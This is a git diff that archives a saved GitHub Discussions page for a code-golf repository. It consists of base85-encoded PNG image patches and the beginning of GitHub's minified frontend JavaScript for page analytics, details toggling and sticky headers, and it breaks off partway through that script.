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 Hu0mjfvex;u literal 0 HcmV?d00001 diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f64f.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f64f.png new file mode 100644 index 0000000000000000000000000000000000000000..dd47a179221ecbd64e73ee141fc7a41a45188974 GIT binary patch literal 2660 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 literal 0 HcmV?d00001 diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/33086936_002.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/33086936_002.png new file mode 100644 index 0000000000000000000000000000000000000000..112f32578ed08d650073626e95f588a5db852b51 GIT binary patch literal 1507 zcmV<91swW`P)000H5Nkl@(7sSV{%LQq+7cz^kR9vFt1aUAD|ve5gsGtWA&*F4Y6yr1{;m;nGC z2-I|L10vR zeI2w4sH4}>L6d+Mdc7Rf3vl$))6;gl-S7819FCcp8F^x}*?jZnO_$4c_3Bl8WP5vC zi-SsmWHNc^&>@7->gsAHli`l%^Ld-iHi-Vji4(b8j%!TQ^uoe|Mh7(l96drP8jS)# zu~?)iDx1yXJYtZ*$B!QYAeYNg6jdx10pRJ=ryBcVWC8xTUszb^_xqhrXLWTIAv8Zf z&oB%CNOr>J<|Y6z3^PAJkGrnZ>GXQN+1Xhw4x$0jeSIAODwPU%B%MwJ06`F9 zfos>U0YEyP=8jY<6#(F;eJUJA5D?HKgr=sZN~ID21cSkql@*dCS(a_JS{92%EU>t^ z*zI;%mUX#YD=RC(U=RSlfB!CMHmZYC0Wm#7h#-i1y)J0!^?Ieo|NrCu{riH(rBZ2Q zV?&FBA^~~&NFCdIh*$u}!-o&K zHgj`xuU@_4PKgEh4!?i@K6mb%at8?k`Emc|%^OL2P9UGpce`BxNF)+VOH1qP>z_V- z0)Serh7%!40lveZKYz}jKd;b1DDdOQ51e30(uc!gvw2`C2@5=V^5pX6%jI$zf2Z*0 z_S?5_8yg$pa9Bow?@+B)x3;##4uAjt9U^e&&YeN@Z{NO^&z3m>gwU~L$3A@cfPXU{ zj~_X51R*q3K;UrU!Ue(EKp-$gK=4iB=wq?i&|IG{fDp1+ETK^7!Gj0fGG3v^e!&C~S;le}CWO@r?8@IQsp5v)RNK9oksR*Hp@SI>((vdKaBJc$K!Ds2f+{$$Iu~UGMPf5 z5CGKcb#YFv=pi2Z5s-1vC@_>>(Q8zTgBAgG^y*UyNe9&es_8W)b7BW|0$S*`rqcq4 z8#ivyH0}5M2MM^{Zi=EdH#ha7*I_~<|6Y<0?ezLgDQTKcrBcmiGn2_kCer+HI-T#| zzb_ODi9{k2iD;xZWKtgp1P0N2yjB*+(xDyv93tgWp{7Pc;3x+E4L2tu;3wYIjVnqF&ZadB~xWm$!# zMVrkgC@pro-G0B1Gwm^z7C8s5AL8-2^5SkPmBN!7uDBbGMzzpuDzD>yIC}J`^76XP zX3OXET;s1_zv8YNcX?glfEPG?KHu%zw}(!8W@cs_4u{X@v)k=>ZatX=4uON}&`3Yw zMLzBHlU!!ig??fS-FneaW~+gY^b^?Zp)dWox7+AWKh_OTM$j7~Fy<|1QwHtaWfD`ZG#kY;oZCjs6pubR2kr{{;X5|Nj$1n4#3?dr1HQ002ov JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..63f1955c493175f08505d2858d3b0760857ad073 GIT binary patch literal 2838 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 literal 0 HcmV?d00001 diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..c3d50169893d86d397594dacdbcf7a1f2ab28289 GIT binary patch literal 1536 zcmV+b2LJhqP)WFitm^m@H+uiF#01O2p~E{zrcF|gIJo;KEPL)yZz$#ziK*mtlmn8dWE8M-#c z88Sc+NA}&u?eWpV+k%Pc$=1rst3TS)IyX~@0D$TM4Uy~K7xxbVAs`=3|FpOGsrX3K zwBeSAt#R$B_T97ZH_Tn3lV+ViL0JI zB8un;$PiFn+bq_mti7qRi6P*@ipz)PHSL9#)0K$6v`LU4HI9D-c{~@Xf*yLHrS*q= zwP*L<7`#$jO=r_e5>xw@@?71>)OvzzUyazY0C@3sLqLEa&+`Y3$COx{;oz!OtEU>C zIYQ_(yF8!v><4C|5R*^!&idax7b>OB^ZMo+fR_)RW=0Hht*cB8pb<7M)H@sCf`Jmv z7<-i4XtrB_3EXHkD_Yf;>w4~>q=Z%q_4zD{fX4z3Bl^$w;=q6>!B5I7Mn3CN2}ty% zFv5F$19U9ZF{wT^@WdT7FN%fr#Z$nYZfBRuL0pxUuGQh=u?3E~PC@jOet=3fPccb( zw7B<+zHBwDVc@0RzZP;8Z3d;5^BAq+^PsSWtVt-VtqH%qWip0rRqp ztP9=MowWgA)EEVuYI}3XnPMRof`SDcogyBZwe8>58c!?K_a>0XCZgtY#mPx+Eahnh z27yh|GWc09xtybuG<=&@y4hVOv>WCVXQ(85Dw6(BmJt>ndfJi#x zXt4~Jbe7cut>H5GYhYhu3mblFMcpaOj3#gQtnQYmFhf^&$9qy=8B+ZRf^rQ=Q@jpM zYpI^s@=Rl?nVj#gBwz?pg$dS6!)VOKfl!@vM=Z|;-a4iB$W z5cxpb0O^Q9l|TrSCwyR#Rr}7wTw=-qFz5XK<>R(j`;yUre~7Tr#)^I1!?Akr72kawapIfAhu1#1yjSq6 zmnZtQ!lm%OHwcNAOez4<5jVuNnKcK*^&~JN-k-hq)w8cfi6KI~hA6`#E*4ON*I-25 zHoE!+y-?8d=V0`rF<$)d;Frf?FKwo2eo^@No94INOeswc2`NR#ksYB4%%Wj3BbPD_ zmLB2RVtu@rI$tW4(&^-K4i{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else 